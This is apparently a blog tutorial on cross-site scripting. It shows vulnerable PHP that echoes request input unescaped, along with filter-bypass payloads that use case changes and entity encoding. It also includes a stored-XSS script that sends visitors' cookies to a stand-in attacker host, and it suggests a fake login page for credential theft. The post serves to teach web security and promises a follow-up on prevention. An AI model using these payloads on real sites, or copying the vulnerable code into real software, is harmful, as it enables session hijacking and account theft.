Cross-site Scripting – Examples

Last week I gave a general overview of cross-site scripting (XSS) and went over the basic attack theory. If you’re anything like me,  then you are probably eager to see XSS in action. Luckily for you, I’ve had a lot of fun this past week with XSS on my home network so I have quite a bit to write about.

Note: If you haven’t already done so, please read my previous post as I will be continuing where I last left off.

Searching for XSS flaws in web apps is a form of black box testing. That is, you typically won’t have any knowledge of the internal system and will need to use a variety of techniques to further understand its implementation. Sure there are some who might disagree with this and argue that it is instead a form of grey box testing. It doesn’t really matter. The truth is, the amount of knowledge you have about a particular web app will vary from site to site. It mostly depends on the amount of access you have to the source code. Semantic matters aside, the point is that you are going to have to perform some amount of information gathering first.

Generally speaking, using XSS to compromise a web app will involve three steps:

  1. Discover any input forms and determine how the GET/POST request variables relate to each input field.
  2. Further examine the code for each input field to detect possible vulnerabilities. This is typically accomplished by entering a harmless JavaScript statement like <script>alert('foobar')</script>.
  3. Analyze the server’s response. If the message box pops up, you’ve got decent foothold. If not, it may require you to further experiment with different encodings and filtering techniques.

These steps can either be done manually or using an automated fuzzing framework. Personally, I like to go the manual route but that’s just because most fuzzing frameworks have a tremendous learning curve. If you’re performing a large-scale penetration test, going with the web app fuzzing framework would definitely be the smart thing to do and save some time.

Let’s consider the welcome banner example I went over briefly in my previous post. Most articles and papers about XSS like to start out with this example. Imagine a social news bookmarking site like Digg. We’ll call it foobar.com. When users login, the site displays a friendly welcome banner in the upper corner of the page. Perhaps the code looks like this:

<html>
<body>

...

<form action="welcome.php" method="get">
    <label for="uname">Username:</label>
    <input type="text" name="uname" id="uname" />

    <label for="passwd">Password:</label>
    <input type="password" name="passwd" id="passwd" />

    <input type="submit" />
</form>

...

</body>
</html>

We see that the web app uses the GET request and two variables: uname and passwd (by the way, never ever, ever, ever use GET when transmitting passwords). We can check to see if foobar.com properly sanitizes its user input field by using the following URL:

http://foobar.com/index.html?user=<script>alert('XSS')</script>

If no form of sanitization is applied, this will result in a popup message that displays “XSS”. Awesome! We can now effectively use foobar.com as our own personal JavaScript interpreter. This means that welcome.php will probably look something like this:

<html>
<body>

...

<?php
echo "Welcome " . $_GET['uname'];
?>

...

</body>
</html

Look at that; nothing! No character encoding or escaping whatsoever. It’s unlikely that you’ll encounter something as moronic as this though. You are more likely to see at least some type of escaping taking place but still lacking in some areas; thus, remaining vulnerable.

For instance, a web developer might try to filter script tags using regular expressions like this:

<?php
// Ima catch all those stupid h4x0rz
if (preg_match("/<script[^>]*>/", $_GET['uname'])) {
    echo "Nice try, jerk!";
}
else {
    echo "Welcome " . $_GET['uname'];
}
?>

However, this can easily be circumvented. Can you guess how? Well, there are several ways but remember that HTML is case insensitive? Yeah, remember how ugly everybody’s code used to look during the 90’s? All we have to do is change the case of at least one of the letters in the word “script”.

http://foobar.com/index.php?user=<SCRIPT>alert('XSS')</SCRIPT>

And now we’re back in business. Another way to circumvent attempts to filter input is to encode different parts of your script. Using the same filter, we can get around it using the following URL:

http://foobar.com/index.php?user=<scrip&#x74;>alert('XSS')</script>

All I did here was encode the ASCII value for the letter ‘t’ which is 0x74. The examples could go on and on. There’d be no way to cover every possible way to get around content filtering since each web app is going to use different ways or a combination of ways to sanitize its input fields. Fortunately, RSnake has put together a very comprehensive list of common JavaScript attack vectors here.

Perhaps you’re thinking, “So what’s next? What can I do now?” The answer is: anything. That’s what makes XSS so fun! You have a nearly unlimited amount of room for creativity. When you’ve compromised a machine (and it better be your own) and you’re able to ask yourself, “What can I do with this now?”, you’re in for a fun time. You don’t always get that amount of freedom with certain exploits. I’ll go over some of the most common uses though.

XSS is most commonly used for session hijacking and cookie theft. I’d imagine because it’s astonishingly easy. Since everything up until now has been examples of reflected attacks, let me show you what a stored attack might look like.

Let’s say you’ve found an XSS vulnerability in the Tweedledum message boards. They allow you to include embedded HTML but try to filter it using the /(<script[^>]*>)*|(javascript:)*/ regular expression. You’re a super evil bad guy and want to steal everyone’s cookies. You’d probably post a message like this:

I'm just a normal post. Don't mind me. I'm definitely not stealing your
cookie so I can hijack your session and take over your account. Nope. Not
me.

<scRipt>
function stealMyCookiePlz() {
    window.location = 'http://super.evil.bad.guys.com/cookie_monster.php?cookie=' + escape(document.cookie);
}
</script>

<img src="http://super.nice.good.guys.com/lolcatz/kitteh.jpg" onmouseover="javascript :stealMyCookiePlz()" />

This embeds a small script in the post that sends the user’s cookie to super.evil.bad.guys.com every time their mouse hovers over the image. You could be even more creative and make cookie_monster.php redirect the user right back to the original Tweedledum post. Or if stealing cookies isn’t enough, you could make cookie_monster.php into a fake Tweedledum login page saying something like “Your session has expired, please log back in” so that you could steal their credentials before redirecting them back to the forum.

Notice the uppercase R in the <script> tag and the space between javascript and : in the onmouseover event. This is so that the script slips through and doesn’t match the regular expression.

Yes, that last example was a bit contrived. If you really were a jerk hijacking people’s accounts, you wouldn’t want to risk people not hovering their mouse over the image. Instead you’d just send them to super.evil.bad.guys.com right away when the page loaded. However, I mixed things up a bit to demonstrate my next point: how HTML attributes and DOM events can be used in attack vectors.

Merely filtering out <script> tags is not enough to protect your site from XSS attacks. JavaScript statements can still appear inside HTML attributes and DOM event handlers. Similar to the last example, you could post:

<b onmouseover="window.history.back()">Just some "harmless" text. ;)</b>

This is just a harmless but really annoying prank that would send the user back to the previous page when their mouse hovered over the text.

One of my favorites is using an erroneous <img> tag:

<img src="url.to.some/fictional/image.jpg" onerror="alert('Howdy!')" />

This one is really clever. The <img> tag points to an image that doesn’t exist. However, adding the onerror handler forces the code to execute. Pure genius!

One last example I want to look at uses error pages. We’ve all seen them before: 404 error: File not found. Some web developers like to be a fancy pants and configure their server to display a customized error page instead. (Fun fact: Internet Explorer before version 7 refused to display custom error pages unless they were larger than 512 bytes. Add that to the list of things IE won’t do.) If not done properly, they can be used for XSS attacks. An unwise web developer might implement a custom error page like this:

<?php
echo "Nah, you trippin' homez. ";
echo "Ain't no " . urldecode($_SERVER['REQUEST_URI']) . " page here.";
echo "Betta check yoself!";
?>

This page would be rendered when querying a non-existent page. For example:

http://foobar.com/baz.html

This would send the following response:

Nah, you trippin' homez. Ain't no /baz.html page here. Betta check yoself!

Oh no he didn’t! Ima pop some JS in his ass! Translation: “I am going to embed malicious JavaScript in your error page, sir.”

http://foobar.com/<script>alert('Take that, jerk!')</script>

This time, you’d get the ghetto-ass error message but with the embedded script along with it. Now it’s just a matter of luring someone to the URL.

Ok, I lied. One more example. I just thought of another really cool idea:

window.onload = function() {
    var links = document.getElementsByTagName('a');

    for (var i = 0; i < links.length(); i++) {
        links[i].href = 'http://whole.lotta.spam.com';
    }
}

This script would change every link on the page to point to whole.lotta.spam.com. This would be especially devastating in the case of a stored attack since all the links would be changed permanently.

There are also several tools available for testing XSS vulnerabilities. OWASP has the CAL9000 project. It’s a collection of web application security testing tools. Unfortunately, it’s no longer actively maintained but it might still prove useful nevertheless. There’s also XSS-Proxy which is a neat little Perl Script designed just for XSS. Another effective tool is ratproxy. Similar to CAL9000, it too is a web app security auditing tool that covers a broad range of security problems, not just XSS. Lastly, you may also want to try Burp Proxy. However, I don’t know much about it since it’s shareware.

Hopefully, this gives you a good idea of all the fun things that can be done using XSS. I highly urge you to quick setup a small LAMP server in a virtual machine and try it out for yourself. Don’t just take my word for it. It’s a blast! Even though XSS can be fun, it’s quite easy to see how quickly it can become a serious breach of security if in the wrong hands. For that reason, next week I will be writing about how to prevent these types of attacks.

Advertisements

Comments are closed.